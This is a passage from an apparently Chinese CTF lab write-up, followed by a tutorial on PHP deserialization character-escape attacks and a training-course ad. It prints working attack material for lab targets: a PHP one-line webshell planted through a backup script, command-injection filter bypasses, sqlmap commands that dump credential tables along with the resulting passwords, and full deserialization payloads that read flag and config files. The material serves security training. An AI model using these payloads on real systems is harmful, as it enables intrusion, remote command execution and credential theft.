echo "文件: $file<br>";
}else{
echo "目录: $file<br>";
}
$filenum += listfiles($file);
}
$faisunZIP -> createfile();
echo "<br>备份完成,共添加 $filenum 个文件.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>";
}else{
echo "$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.<br>";
}
}else{
echo "没有选择的文件或目录.<br>";
}
endif;
?>
审计代码,这里的dfile参数任何的过滤,尝试修改一下dfile的值,惊喜的发现可以读取任意文件,并写入bak_wwwroot.zip,下载bak_wwwroot.zip就可以读取了。
dfile[]=/var/www/html/index.php&todir=__bak__&zipname=bak_wwwroot.zip&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
虽然知道可以读取任意文件,但是不知道key是放在哪个地方,于是这里又卡了一下,但是转头一想,这里是写一个文件名并压缩进文件里面,老CTFer都知道做msic的时候,文件名会写入压缩包里面,于是写一个一句话木马,并把bak_wwwroot.zip改为bak_wwwroot.php试一下,没想到成功了。
dfile[]=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
读取目录下所有文件目录
http://119.3.187.27:41154/admin_site_bak2088/__bak__/bak_wwwroot.php?cmd=ls%20../
读取key
http://119.3.187.27:41169/admin_K29ke8/__bak__/bak_wwwroot.php?cmd=cat%20/key_ss32ce5ew1v.txt
第三题
数字校园
提示:浏览器类型要是IPAD,以及要用英文,分辨率要1024*768
和第一题一样的套路
不过这里要改下
■Accept-Language为en,zh;q=0.8,en-us;q=0.5,en;q=0.3
■ Cookie为screenX=1024; screenY=768
第四题
网站文件备份服务器
虽然页面和第二题不同,但是扫目录同样扫出了是一样的后台,爆破弱口令,然后发现admin和admin,剩下的就和之前的步骤是一样的了,写一个马然后读key。
dfile%5B%5D=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
第五题
教学器械采购平台
一道命令执行的题,有个输入框
随便fuzz一下,发现过滤了&&和空格
于是&&用&&替代绕过,空格用<替代绕过
先用ls读取文件目录
iipp=127.0.0.1&&ls&submit=Ping
然后再读取key即可
第六题
教学质量评价系统
发现有个注入点
http://119.3.177.25:41204/show.php?id=MQ0=
测试了一下发现是base64盲注,用tamper指定base64编码,直接丢sqlmap里面跑一下。
这里要注意的是这个靶场不太稳定,我们用sqlmap有个小问题就是盲注的时候他会根据响应速度来调整发送包的速度,太快了可能网站会崩,所以sqlmap会增加延迟,让他更像是人手工在注入,我觉得慢就断开了,但是如果不清理缓存每次重来就是从上一次继续,所以这里的话加上fresh-queries,再加上batch自动确认。
跑数据库
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --dbs --dump --batch --fresh-queries
跑表名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --tables -D test --dump --batch --fresh-queries
跑列名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --columns -D test -T data --dump --batch --fresh-queries
最后payload如下
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py -D test -T data -C thekey --dump --batch --fresh-queries
直接跑出key
第七题
XWAY科技管理系统
平台停机维护的通知存在注入,发现注入点在
http://119.3.225.8:41046/new_list.php?id=1
继续sqlmap跑起来,
跑数据库
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --tables -T member --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --columns -T member -D stormgroup --dump --batch
最后payload
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 -D stormgroup -T member -C name,password --dump --batch
跑出两个账号密码
■ mozhe/528469
■ mozhe/888054
登录之后,即可拿到key。
第八题
XWAY电脑采购系统
随便看了发现到一个注入点
http://119.3.187.27:41144/new_list.php?id=1
发现是union注入,依旧尝试用sqlmap
跑数据库
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --tables -D min_ju4t_mel1i --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --columns -D min_ju4t_mel1i -T (@dmin9_td4b} --dump --batch
最后payload
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 -D min_ju4t_mel1i -T (@dmin9_td4b} -C username,password --dump --batch
最后跑出五个账号密码,只有一个能用,md5解密登录拿key。
sql注入不愧是OWASP TOP 10 之 榜首,10道题目出现了3道,有一说一sqlmap真的是好用。
细说php反序列化字符逃逸
相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=heetian-wemedia (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
前言
php反序列化的字符逃逸算是比较难理解的一个知识点,在最近的好几场比赛中都出现了相关的题,于是下定决心彻底理解透彻这个知识点,于是便有了这篇文章。
基础知识理解
字符逃逸在理解之后就能够明白,这是一种闭合的思想,它类似SQL中的万能密码,理解这种原理之后会变得特别容易。
在SQL注入中,我们常用'、"来对注入点进行一些闭合或者一些试探,从而进行各种姿势的注入,反序列化时,序列化的值是以;作为字段的分隔,在结尾是以}结束,我们稍微了解一下,
<?php
class people{
public $name = 'Tom';
public $sex = 'boy';
public $age = '12';
}
$a = new people();
print_r(serialize($a));
O:6:"people":3:
{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}
反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。我们可以将上面的序列化的值稍作改变:
O:6:"people":3:
{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123
可以看到,并没有报错,而且也顺利将这个对象反序列化出来了,恰好说明了我们以上所说的闭合的问题,与此同时,修改一些序列化出来的值可以反序列化出我们所知道的对象中里没有的值,在学习绕过__wakeup就能过知道了,这里可以自己去做一些尝试,去理解。
接下来就是要说到报错的时候了,当你的字符串长度与所描述的长度不一样时,便会报错,比如上图中s:3:"Tom"变成s:4:"Tom"或s:2:"Tom"便会报错,为的就是解决这种报错,所以在字符逃逸中分为两类:
1.字符变多
2.字符减少
关键字符增多
在题目中,往往对一些关键字会进行一些过滤,使用的手段通常替换关键字,使得一些关键字增多,简单认识一下,正常序列化查看结果
这里,我们对序列化后的字符串进行了替换,使得后来的反序列化报错,那我们就需要在Tom这里面的字符串做手脚,在username之后只有一个age,所以在双引号里面可以构造我需要的username之后参数的值,这里修改age的值,我们这里将Tom替换为Tom";s:3:"age";s:2:"35";}然后进行反序列化,这里指的是在对username传参的时候进行修改,也就是我们写链子的时候进行的操作
可以看到构造出来的序列化字符串长度为25,而在上面的反序列化过程中,他会将一个o变成两个,oo,那么得到的应该就是s:25:"Toom"我们要做的就是让这个双引号里面的字符串在过滤替换之后真的有描述的这么长,让他不要报错,再配合反序列化的特点,(反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化)闭合后忽略后面的age:13的字符串成功使得age被修改为35。
而age的修改需要前面的字符串username的值长度与描述的一样,这需要我们精确的计算,这里是将一个o变成两个,以下就只写o不写Tom,效果一致,我们需要知道我们除了双引号以内的,所构造的字符串长度为多少,即";s:3:"age";s:2:"35";}的长度22,那就需要22个o,
总的来说就是22个o加上后面的字符串长度22,总长度就为44,在被过滤替换后,光o就有44个,符合描述的字符串长度。下面就说明(为什么叫做逃逸)
这里特意写了"将一大串o进行与前面的"闭合了,如果直接反序列化,在序列化出来的值中就包含了";s:3:"age";s:2:"35";}。
反序列的过程中,所描述的字符串长度(这里为44),而后面双引号包裹的字符串长度(这里为22)不够所描述的长度,那么他将会向后吞噬,他会将后双引号吞噬,直至足够所描述的长度,在一切吞噬结束之后,序列化出来的字符串如果不满足反序列化的字符串的格式,就会报错。我们这里是他吞噬结束后,还满足这个格式,所以不报错。
在这个例子中,我们利用他对序列化后的值,进行增加字符串长度的过滤,让他填充双引号内的字符串达到所描述的44这么长,使得后面的s:3:"age";s:2:"35";不被吞噬,让这部分代码逃逸出吞噬,又让他提前遇到}忽略后面的一些不需要的字符串,结束反序列化。
可以看到,我们构造的payload是成功修改了age,这里是数组,在对对象操作时也是一样的。
刚刚说到吞噬,在增加字符串的题目中,我们是利用题中的增加操作,阻止他进行向后吞噬我们构造的代码,而在字符减少的过程中,我们也是利用这个操作。
关键字符减少
有了前面”吞噬“的一种解释,那么字符串减少就很好说了 ,同样的也是因为替换的问题,使得参数可以让我们构造payload
这里的错误是因为s:5:"zddo"长度不够,他向后吞噬了一个双引号,导致反序列化格式错误,从而报错,我们要做的就是让他往后去吞噬一些我们构造的一些代码。以下讲具体实施。
同样的,我们这里以修改age为例,不同的是与增加字符串传值的地方有些许不同,我们构造的值是有一部分让他吞噬的
先正常传递值序列化出我们需要修改的值,我们需要的是将age:13改为35
取出";s:3:"age";s:2:"35";}这就是我们需要构造的,接着继续将这部分内容重新传值,序列化出来,得到下面的结果
选中部分就是我们构造出来,他需要吞噬的代码,s:22:""这个双引号里面我们还有操作的空间,用来补齐字符串长度,接着就是计算我们自己所需要吃掉的字符串长度为18,根据过滤,他是将两个o变成一个,也就是每吃掉一个字符,就需要有一个oo,那我们需要吃掉的是18个长度,那么我们就需要18个oo,在吞噬结束之后我们的格式又恢复正确,使得真正的字符s:3:"age";s:2:"35";逃逸出来,成功加入反序列化
这就是我们最终的payload,可以看到下图成功修改了
例题
有了以上基础,就可以做题了,简单的开始入手
安恒四月(字符减少)
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
看到上面的代码,很明显,我们需要利用file_get_contents();读取文件,将flag读取出来,但是他是个__toString()方法,我们就要让他触发这个方法,当反序列化出对象后,被当作字符串使用时,就可以触发,那我们就需要写一个链,与此同时我们也要知道字符串被删减了几个字符
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
看这一部分即可了解到,如果发现不可见字符*不可见字符,字符串就会增多,接着又将\0\0\0的6个字符变成3个字符不可见字符*不可见字符,我们自己是不会去写入不可见字符的在这道题中,相反可以故意写入\0\0\0使得字符串减少,通过计算逃逸字符,读取flag文件
题目中序列化的是对象$a,里面有两个参数,username和password,我们要传入的也是这两个参数的值,所以我们构造的payload,应该是往password传我们构造好的字符,而在username传入的为计算好的\0\0\0个数,
按照流程来,先写一个链子,某些参数先随便写
";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
选中部分就是我们需要重新传参的地方,我们传进password,再次序列化看看效果
我所选择的地方就是需要被吞噬的部分,然后才能使得后边的代码全部逃逸,长度为23,计算后发现需要8个\0\0\0,但8个这样的符号会吞噬24个字符,因此我们可以在s:70:""双引号里面可以随意补一个字符让它吞噬。
因此我们最终在password里面传参的应该是:
i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
而在username中传的就是8个\0\0\0:
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
最终payload:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
0CTF piapiapia(字符增加)
扫描目录发现http://www.zip/,下载后开始,审计源码
我们根据他的网页一步步看源码,首先他要我们登陆,我们先注册一个账号进行登陆
看到上图的界面,这时我们看到update.php,都是一些对参数的白名单按要求写即可,图片也随便传一个符合大小的即可,但是注意nickname是我们要操作的地方,稍后讲解,然后有个序列化数组的过程
$user->update_profile($username, serialize($profile));
在上传成功后,他会到profile.php,我们看到profile.php,有这么一段东西
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
这里告诉我们,他反序列化的是profile这个数组序列化后的值,读取的是键名为photo里面的文件名,而flag在config.php也就是说我们需要构造的就是数组中$profile['photo']='config.php'
那么怎样才能让他读这个config.php呢
我们看到class.php,看到父类mysql中:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
发现序列化的值他会传递给user中的方法update_profile,接着update_profile又将这个值传递给了父类方法filter,显而易见,就是一种过滤,防止sql注入,但是可以发现,他是以替换的方式给返回值,在过滤的字符串中,只有where变成hacker,由5个字符变成6个,所以是字符增加的逃逸方式,接着开始构造
选择部分是需要传入的,在phone和email都是白名单,传入的格式受限制,只有nickname是黑名单,所以我们要绕过这个黑名单,bp抓包
他使用的是strlen()所以这里有个方式,这个函数如果参数是字符串,那么数出来的就是字符串个数,如果是数组,那么数出来的就是数组元素的个数
将nickname改成nickname[]然后传参
传的参数我们需要构造,需要计算,上面分析了我们需要构造的字符串";}s:5:"photo";s:10:"config.php";},但是他是字符增多,我们就需要知道需要逃逸的字符有多少个,计算了一下为34个,(这里因为改为了数组,而数组的序列化格式结束后是一个大括号,所以我们在一开始的”;后面增加了一个花括号)所以需要34个where帮助我们逃逸这部分代码,上传成功,根据这个修改放包即可
返回网页点击
之后可以看到一张显示不出来的图片,因为使用base64编码了,右击查看图片信息
解码即可看到flag
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

